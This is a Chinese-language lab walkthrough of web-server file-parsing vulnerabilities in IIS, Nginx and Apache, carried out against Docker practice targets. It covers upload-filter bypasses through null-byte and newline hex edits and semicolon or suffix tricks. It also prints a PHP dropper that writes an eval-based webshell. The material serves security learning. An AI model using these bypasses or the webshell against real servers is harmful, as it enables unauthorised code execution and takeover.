文件解析漏洞靶场通关合集
一、IIS解析漏洞
(一)iis6的目录解析漏洞(.asp目录中的所有文件都会被当做asp文件执行)
第一步:在网站根目录下创建了一个x.asp文件夹,并在文件夹中创建一个名为1.txt的文本文档
第二步:文本文档中输入<% =now()%>
第三步:访问1.txt, 返回了的当前日期和时间值
(二)iis6的分号截断解析漏洞(1.asp;.jpg 分号起到截断的效果)
第一步:在网站根目录新建文件1.asp;.txt
第二步:访问1.asp;.txt, 返回了的当前日期和时间值
被服务器看成是1.asp
(三)iis6的畸形后缀解析(.asa/.cer/.cdx的文件都会被当做asp文件执行)
第一步:在网站根目录新建文件1.asa
第二步:访问1.asa, 返回了的当前日期和时间值
(四)iis7的phpcgi解析漏洞(在文件末尾 加上 /.php,文件就会被当做php文件)
第一步:物理机安装IIS后,安装PHPstudy for IIS
第二步:配置 php.ini ⽂件,将 cgi.fix_pathinfo=1前的分号删去
第三步:IIS --- 配置⽹站 --- 处理程序映射 --- PHPStudy_FastCGI --- 请求限制 --- 取消勾选
第四步:在网站根目录新建文件phpinfo.jpg
第五步:访问phpinfo.jpg/.php,发现phpinfo.jpg被当作php文件运行
二、Nginx解析漏洞
(一)nginx的phpcgi解析漏洞(同上)
第一步:加工docker-compose.yml,添加版本号,更改映射端口为82
第二步:docker-compose up -d 创建并启动容器
第三步:访问http://47.103.81.25:82/,成功访问,上传文件成功
#上传保存位置
/var/www/html/uploadfiles/0412c29576c708cf0155e8de242169b1.jpg
第四步:访问test.jpg/.php,发现test.jpg被当作php文件运行
#URL
http://47.103.81.25:82/uploadfiles/0412c29576c708cf0155e8de242169b1.jpg/.php
(二)nginx的00截断解析漏洞(上传的时候两个空格,第二个空格20改成00可以起到截断的作用)
第一步:加工docker-compose.yml,添加版本号,更改映射端口为8080
第二步:docker-compose up -d 创建并启动容器
第三步:访问http://47.103.81.25:8080/,直接选择php文件上传,显示 Unsupported filetype uploaded.
第四步:重新选择phpinfo.jpg,打开bp进行抓包,并加2个空格.php,点击HEX,将第2个空格位置改为00,放行,显示文件成功上传
上传的文件名为phpinfo.jpg0x200x00.php
第五步:访问phpinfo.jpg,404
第六步:由于404抓不到包,删去g,回车抓包;修改文件名为phpinfo.jpg空格空格.php
第七步:修改HEX也为0x200x00,即访问的文件名也为phpinfo.jpg0x200x00.php,放行,访问成功
00起到截断作用,服务器认为是允许的jpg文件,但中间件认为00是文件名的一部分
三、Apache解析漏洞
(一)apache的从右往左解析漏洞(apache的解析规则是从右往左,右边的不认识会往左递归)
靶场暂缺
(二)apache的多后缀解析漏洞(apache会为不同的后缀执行不同的指令)
第一步:加工docker-compose.yml,添加版本号,更改映射端口为81
第二步:docker-compose up -d 创建并启动容器
第三步:访问http://47.103.81.25:81/,成功访问,上传文件成功
第四步:访问上传的father.php.jpg,使其生成木马
#father.php.jpg文件内容
GIF89a
<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
第五步:访问生成的webshell.php,成功getshell
(三)apache的0a换行解析漏洞(在文件未尾加上空格,空格的20改成0a,访问文件的时候加上%0a)
第一步:修改配置文案,端口为8081,启动docker
第二步:访问并上传文件,bp抓包,在evil后面加一个空格
第三步:点击HEX,找到添加的空格位置,改为0a(%00 --> %0a),放行
第四步:访问phpinfo(),成功访问
FROM IYU_